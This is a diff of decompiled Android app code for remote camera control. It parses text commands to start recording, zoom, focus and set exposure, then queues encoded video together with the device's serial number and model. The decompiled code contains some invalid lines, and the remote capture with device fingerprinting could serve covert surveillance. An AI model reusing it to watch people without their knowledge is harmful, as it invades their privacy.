Starting = false;
|
||||
encode(true);
|
||||
this.mCamera.close();
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void encode(boolean z) {
|
||||
if (z) {
|
||||
MediaCodec mediaCodec = this.mMediaCodec;
|
||||
if (mediaCodec == null) {
|
||||
return;
|
||||
}
|
||||
mediaCodec.signalEndOfInputStream();
|
||||
}
|
||||
int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L);
|
||||
if (dequeueOutputBuffer < 0) {
|
||||
if (dequeueOutputBuffer == -2) {
|
||||
this.mMediaCodec.getOutputFormat();
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer);
|
||||
this.mMediaCodec.getOutputFormat(dequeueOutputBuffer);
|
||||
if (outputBuffer == null) {
|
||||
return;
|
||||
}
|
||||
if (this.mBufferInfo.size != 0) {
|
||||
outputBuffer.position(this.mBufferInfo.offset);
|
||||
outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size);
|
||||
byte[] bArr = new byte[this.mBufferInfo.size];
|
||||
outputBuffer.get(bArr);
|
||||
if (this.mBufferInfo.flags == 2) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(3);
|
||||
byteArrayOutputStream.write(2);
|
||||
byteArrayOutputStream.write(bArr);
|
||||
byteArrayOutputStream.flush();
|
||||
this.config = byteArrayOutputStream.toByteArray();
|
||||
byteArrayOutputStream.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
this.countSend++;
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(3);
|
||||
if (this.mBufferInfo.flags == 1) {
|
||||
this.endkey = this.countSend;
|
||||
this.comand.WriteOut(this.config);
|
||||
byteArrayOutputStream2.write(1);
|
||||
ByteBuffer allocate = ByteBuffer.allocate(4);
|
||||
allocate.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate.array());
|
||||
} else {
|
||||
byteArrayOutputStream2.write(0);
|
||||
ByteBuffer allocate2 = ByteBuffer.allocate(8);
|
||||
allocate2.putInt(this.countSend);
|
||||
allocate2.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate2.array());
|
||||
}
|
||||
byteArrayOutputStream2.write(bArr);
|
||||
byteArrayOutputStream2.flush();
|
||||
this.comand.WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
} catch (IOException e2) {
|
||||
this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true);
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
private Point toThis(Point point) {
|
||||
Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left;
|
||||
point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top;
|
||||
return point;
|
||||
}
|
||||
|
||||
private String ZoomNew(String str) {
|
||||
try {
|
||||
float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f;
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
int width = rect.width() / 2;
|
||||
int height = rect.height() / 2;
|
||||
int width2 = (int) ((rect.width() * 0.5f) / parseInt);
|
||||
int height2 = (int) ((rect.height() * 0.5f) / parseInt);
|
||||
Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2);
|
||||
setParams();
|
||||
return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomPlus(String str, double d) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue();
|
||||
Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
String[] split = str.split(",");
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int round = (int) Math.round(rect2.width() * d);
|
||||
int round2 = (int) Math.round(rect2.height() * d);
|
||||
if (round < rect.width() / floatValue) {
|
||||
round = (int) (rect.width() / floatValue);
|
||||
}
|
||||
if (round2 < rect.height() / floatValue) {
|
||||
round2 = (int) (rect.height() / floatValue);
|
||||
}
|
||||
Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2));
|
||||
if (rect3.left < 0) {
|
||||
rect3.right -= rect3.left;
|
||||
rect3.left = 0;
|
||||
}
|
||||
if (rect3.top < 0) {
|
||||
rect3.bottom -= rect3.top;
|
||||
rect3.top = 0;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3);
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightPlus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1;
|
||||
if (intValue > 4) {
|
||||
intValue = 4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightMinus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1;
|
||||
if (intValue < -4) {
|
||||
intValue = -4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String WhileBlack() {
|
||||
String str = "";
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0));
|
||||
str = "Black and white.";
|
||||
setParams();
|
||||
return "Black and white.";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomMinus(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom));
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Monochrom(String str) {
|
||||
int i = !str.equals("0");
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i));
|
||||
setParams();
|
||||
return i == 1 ? "Monochrom enable." : "Monochrom disable.";
|
||||
}
|
||||
|
||||
private Rect getRect(String str) {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
String[] split = str.split(",");
|
||||
int parseInt = Integer.parseInt(split[2]);
|
||||
int parseInt2 = Integer.parseInt(split[3]);
|
||||
if (parseInt > rect.width()) {
|
||||
parseInt = rect.width();
|
||||
}
|
||||
if (parseInt2 > rect.height()) {
|
||||
parseInt2 = rect.height();
|
||||
}
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int i = parseInt / 2;
|
||||
int i2 = parseInt2 / 2;
|
||||
Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2);
|
||||
if (rect2.top < rect.top) {
|
||||
rect2.bottom -= rect2.top - rect.top;
|
||||
rect2.top = rect.top;
|
||||
}
|
||||
if (rect2.left < rect.left) {
|
||||
rect2.right -= rect2.left - rect.left;
|
||||
rect2.left = rect.left;
|
||||
}
|
||||
if (rect2.bottom > rect.bottom) {
|
||||
rect2.bottom = rect.bottom;
|
||||
}
|
||||
if (rect2.right > rect.right) {
|
||||
rect2.right = rect.right;
|
||||
}
|
||||
return rect2;
|
||||
}
|
||||
|
||||
private String AF(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
setParams();
|
||||
Rect rect2 = getRect(str);
|
||||
if (rect.contains(rect2)) {
|
||||
rect = rect2;
|
||||
}
|
||||
MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)};
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1);
|
||||
setParams();
|
||||
return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight()));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Focus(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f;
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat));
|
||||
setParams();
|
||||
return String.format("Focus: %f", Float.valueOf(parseFloat));
|
||||
}
|
||||
|
||||
private String Sensitivity(String str) {
|
||||
int parseInt = Integer.parseInt(str);
|
||||
Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
|
||||
int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return String.format("Sensitivity: %d", Integer.valueOf(intValue));
|
||||
}
|
||||
|
||||
private String ISO(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("ISO: %s", str);
|
||||
}
|
||||
|
||||
private String FPS(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("FPS: %s", str);
|
||||
}
|
||||
|
||||
private String Exposure(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("Exposure: %s", str);
|
||||
}
|
||||
|
||||
private String AE() {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1);
|
||||
setParams();
|
||||
return "Enable AE";
|
||||
}
|
||||
|
||||
private String UserMode(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0);
|
||||
setParams();
|
||||
int parseInt = Integer.parseInt(trim);
|
||||
if (parseInt == 0) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1);
|
||||
} else {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2);
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt));
|
||||
setParams();
|
||||
return String.format("User mode: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String ABW(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1));
|
||||
setParams();
|
||||
return String.format("ABW: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public String SetCommand(String str, String str2) {
|
||||
return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : "";
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MinISO() {
|
||||
return this.MinISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MaxISO() {
|
||||
return this.MaxISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int FPS() {
|
||||
return this.FPS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.SharedPreferences;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class ChenalC {
|
||||
private static ChenalC instance;
|
||||
private SharedPreferences sharedPreferences;
|
||||
|
||||
private ChenalC(Context context) {
|
||||
this.sharedPreferences = context.getSharedPreferences("V__s", 0);
|
||||
}
|
||||
|
||||
public static synchronized ChenalC getInstance(Context context) {
|
||||
ChenalC chenalC;
|
||||
synchronized (ChenalC.class) {
|
||||
if (instance == null) {
|
||||
instance = new ChenalC(context);
|
||||
}
|
||||
chenalC = instance;
|
||||
}
|
||||
return chenalC;
|
||||
}
|
||||
|
||||
public void set(Byte b) {
|
||||
SharedPreferences.Editor edit = this.sharedPreferences.edit();
|
||||
edit.putInt("C__l", b.byteValue());
|
||||
edit.apply();
|
||||
}
|
||||
|
||||
public Byte get() {
|
||||
return Byte.valueOf((byte) this.sharedPreferences.getInt("C__l", 0));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,337 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.content.Intent;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.os.Build;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.concurrent.ConcurrentLinkedQueue;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class Comand extends Thread {
|
||||
public Speek speek;
|
||||
int BitRate = 1000000;
|
||||
ICameraRecord mCameraRecord = null;
|
||||
ConcurrentLinkedQueue<byte[]> in_queue = new ConcurrentLinkedQueue<>();
|
||||
ConcurrentLinkedQueue<byte[]> out_queue = new ConcurrentLinkedQueue<>();
|
||||
ConcurrentHashMap<Integer, Long> stat_time = new ConcurrentHashMap<>();
|
||||
int stat = 0;
|
||||
long timeRead = System.currentTimeMillis();
|
||||
long timeControl = System.currentTimeMillis();
|
||||
String oldError = "";
|
||||
int countError = 0;
|
||||
long timeError = System.currentTimeMillis();
|
||||
public boolean open = true;
|
||||
String SerialNumber = getSerialNumber();
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: package-private */
|
||||
public void status(int i) {
|
||||
if (!this.stat_time.containsKey(Integer.valueOf(i))) {
|
||||
this.stat_time.put(Integer.valueOf(i), 0L);
|
||||
}
|
||||
this.stat_time.replace(Integer.valueOf(i), Long.valueOf(System.currentTimeMillis()));
|
||||
}
|
||||
|
||||
public int WriteIn(byte[] bArr) {
|
||||
byte b = bArr[0];
|
||||
if (b == 0) {
|
||||
WriteOut(bArr);
|
||||
} else if (b == 1) {
|
||||
decode(Arrays.copyOfRange(bArr, 1, bArr.length));
|
||||
}
|
||||
status(3);
|
||||
return this.in_queue.size();
|
||||
}
|
||||
|
||||
public int ReadCount() {
|
||||
return this.out_queue.size();
|
||||
}
|
||||
|
||||
public byte[] ReadOut() {
|
||||
this.timeRead = System.currentTimeMillis();
|
||||
if (this.out_queue.size() > 0) {
|
||||
return this.out_queue.poll();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public int WriteOut(byte[] bArr) {
|
||||
if (System.currentTimeMillis() - this.timeRead > 600) {
|
||||
ClearOut();
|
||||
}
|
||||
if (bArr != null && bArr.length > 0) {
|
||||
this.out_queue.add(bArr);
|
||||
}
|
||||
return this.out_queue.size();
|
||||
}
|
||||
|
||||
public void ClearOut() {
|
||||
this.out_queue.clear();
|
||||
this.timeRead = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
public int WriteOut(String str) {
|
||||
return WriteOut(ByteBuffer.allocate(str.length() + 1).put((byte) 1).put(str.getBytes()).array());
|
||||
}
|
||||
|
||||
public static Intent getIntent() {
|
||||
Intent intent = new Intent("com.asus.motorservice.MotorService");
|
||||
intent.setPackage("com.asus.motorservice");
|
||||
return intent;
|
||||
}
|
||||
|
||||
private void decode(byte[] bArr) {
|
||||
int i;
|
||||
int i2;
|
||||
int i3;
|
||||
if (bArr != null) {
|
||||
try {
|
||||
String str = "";
|
||||
String str2 = new String(bArr);
|
||||
String[] split = str2.split("=");
|
||||
if (!split[0].equalsIgnoreCase("status")) {
|
||||
WriteOut(String.format("result=[%s]", str2));
|
||||
}
|
||||
String str3 = split[0];
|
||||
if (str3.equalsIgnoreCase("start")) {
|
||||
if (split[1].trim().length() > 0) {
|
||||
ICameraRecord iCameraRecord = this.mCameraRecord;
|
||||
if (iCameraRecord != null) {
|
||||
iCameraRecord.Stop();
|
||||
}
|
||||
if (Build.MANUFACTURER.equals("HUAWEI")) {
|
||||
this.mCameraRecord = new CameraHUAWEIn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this);
|
||||
} else if (Build.MANUFACTURER.equals("asus")) {
|
||||
WriteOut(this.speek.getPackageName());
|
||||
this.mCameraRecord = new CameraASUSn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this);
|
||||
} else {
|
||||
this.mCameraRecord = new CameraHUAWEIn((CameraManager) this.speek.getSystemService("camera"), this.speek, split[1], this);
|
||||
}
|
||||
str = String.format("Start.", new Object[0]);
|
||||
} else {
|
||||
ICameraRecord iCameraRecord2 = this.mCameraRecord;
|
||||
if (iCameraRecord2 != null) {
|
||||
iCameraRecord2.Stop();
|
||||
}
|
||||
this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 10, this, 0, new Size(1920, 1080));
|
||||
str = "Start fps:30";
|
||||
}
|
||||
} else if (str3.equalsIgnoreCase("startHI")) {
|
||||
ICameraRecord iCameraRecord3 = this.mCameraRecord;
|
||||
if (iCameraRecord3 != null) {
|
||||
iCameraRecord3.Stop();
|
||||
}
|
||||
this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 40, this, 1, new Size(1280, 720));
|
||||
str = "Start High Speed fps:120";
|
||||
} else if (str3.equalsIgnoreCase("startH2")) {
|
||||
ICameraRecord iCameraRecord4 = this.mCameraRecord;
|
||||
if (iCameraRecord4 != null) {
|
||||
iCameraRecord4.Stop();
|
||||
}
|
||||
this.mCameraRecord = new CameraRecord((CameraManager) this.speek.getSystemService("camera"), this.BitRate, 80, this, 2, new Size(1280, 720));
|
||||
str = "Start High Speed fps:240";
|
||||
} else if (str3.equalsIgnoreCase("stop")) {
|
||||
ICameraRecord iCameraRecord5 = this.mCameraRecord;
|
||||
if (iCameraRecord5 != null) {
|
||||
iCameraRecord5.Stop();
|
||||
}
|
||||
str = "Stop";
|
||||
this.mCameraRecord = null;
|
||||
} else if (str3.equalsIgnoreCase("BitRate")) {
|
||||
int parseInt = Integer.parseInt(split[1]) / 4;
|
||||
this.BitRate = parseInt;
|
||||
str = String.format("Set Bit Rate %d", Integer.valueOf(parseInt));
|
||||
} else if (str3.equalsIgnoreCase("status")) {
|
||||
ICameraRecord iCameraRecord6 = this.mCameraRecord;
|
||||
if (iCameraRecord6 != null) {
|
||||
i = iCameraRecord6.MinISO() / 10;
|
||||
i2 = this.mCameraRecord.MaxISO() / 10;
|
||||
i3 = this.mCameraRecord.FPS() / 10;
|
||||
} else {
|
||||
i = 0;
|
||||
i2 = 0;
|
||||
i3 = 0;
|
||||
}
|
||||
WriteOut(String.format("status=%s=%s=%s=%d=%d=%d", split[1], split[2], this.SerialNumber, Integer.valueOf(i), Integer.valueOf(i2), Integer.valueOf(i3)));
|
||||
} else if (str3.equalsIgnoreCase("GetCameraInfo")) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(7);
|
||||
GZIPOutputStream gZIPOutputStream = new GZIPOutputStream(byteArrayOutputStream);
|
||||
gZIPOutputStream.write(getSizeCamera().getBytes());
|
||||
gZIPOutputStream.close();
|
||||
WriteOut(byteArrayOutputStream.toByteArray());
|
||||
byteArrayOutputStream.close();
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(9);
|
||||
GZIPOutputStream gZIPOutputStream2 = new GZIPOutputStream(byteArrayOutputStream2);
|
||||
gZIPOutputStream2.write(getSizeCameraHi().getBytes());
|
||||
gZIPOutputStream2.close();
|
||||
WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
str = "Get Camera Info";
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
WriteErr(e);
|
||||
}
|
||||
} else {
|
||||
ICameraRecord iCameraRecord7 = this.mCameraRecord;
|
||||
if (iCameraRecord7 != null) {
|
||||
str = iCameraRecord7.SetCommand(str3, split[1]);
|
||||
}
|
||||
}
|
||||
if (str3.length() > 4 && str3.substring(0, 5).equalsIgnoreCase("start")) {
|
||||
str = String.format("%s : %s", str, this.mCameraRecord.getClass().getName());
|
||||
}
|
||||
if (str.trim().length() > 0) {
|
||||
WriteOut(String.format("result=%s", str));
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String getSerialNumber() {
|
||||
try {
|
||||
Class<?> cls = Class.forName("android.os.SystemProperties");
|
||||
String format = String.format("%s", cls.getMethod("get", String.class).invoke(cls, "ro.serialno").toString());
|
||||
if (format.isEmpty()) {
|
||||
format = Build.SERIAL;
|
||||
}
|
||||
return String.format("%s|%s|%s|%s|%s", format, Build.MANUFACTURER, "", Build.MODEL, Build.HARDWARE);
|
||||
} catch (Exception e) {
|
||||
WriteErr(e);
|
||||
return "emulator";
|
||||
}
|
||||
}
|
||||
|
||||
void WriteCommand(String str, String str2) {
|
||||
WriteOut(String.format("%s=%s", str, str2));
|
||||
}
|
||||
|
||||
public void WriteErr(Exception exc) {
|
||||
exc.printStackTrace();
|
||||
try {
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
exc.printStackTrace(new PrintWriter(stringWriter));
|
||||
String stringWriter2 = stringWriter.toString();
|
||||
if (!stringWriter2.equals(this.oldError) || System.currentTimeMillis() - this.timeError >= 250) {
|
||||
this.oldError = stringWriter2;
|
||||
WriteCommand("error", String.format("%s=%d", stringWriter2, Integer.valueOf(this.countError)));
|
||||
this.timeError = System.currentTimeMillis();
|
||||
this.countError = 0;
|
||||
} else {
|
||||
this.countError++;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Comand(Speek speek) {
|
||||
this.speek = speek;
|
||||
new InOut(this).start();
|
||||
}
|
||||
|
||||
public void Close() {
|
||||
ICameraRecord iCameraRecord = this.mCameraRecord;
|
||||
if (iCameraRecord != null) {
|
||||
iCameraRecord.Stop();
|
||||
}
|
||||
this.open = false;
|
||||
this.speek.send_status(0);
|
||||
}
|
||||
|
||||
private String getSizeCamera() {
|
||||
String[] cameraIdList;
|
||||
Size[] outputSizes;
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
CameraManager cameraManager = (CameraManager) this.speek.getSystemService("camera");
|
||||
try {
|
||||
for (String str : cameraManager.getCameraIdList()) {
|
||||
for (Size size : ((StreamConfigurationMap) cameraManager.getCameraCharacteristics(str).get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class)) {
|
||||
if (size.toString().length() > 0) {
|
||||
stringWriter.write(String.format("%s:%s;", str, size.toString()));
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return stringWriter.toString();
|
||||
}
|
||||
|
||||
private String getSizeCameraHi() {
|
||||
String[] cameraIdList;
|
||||
CameraManager cameraManager;
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
CameraManager cameraManager2 = (CameraManager) this.speek.getSystemService("camera");
|
||||
try {
|
||||
for (String str : cameraManager2.getCameraIdList()) {
|
||||
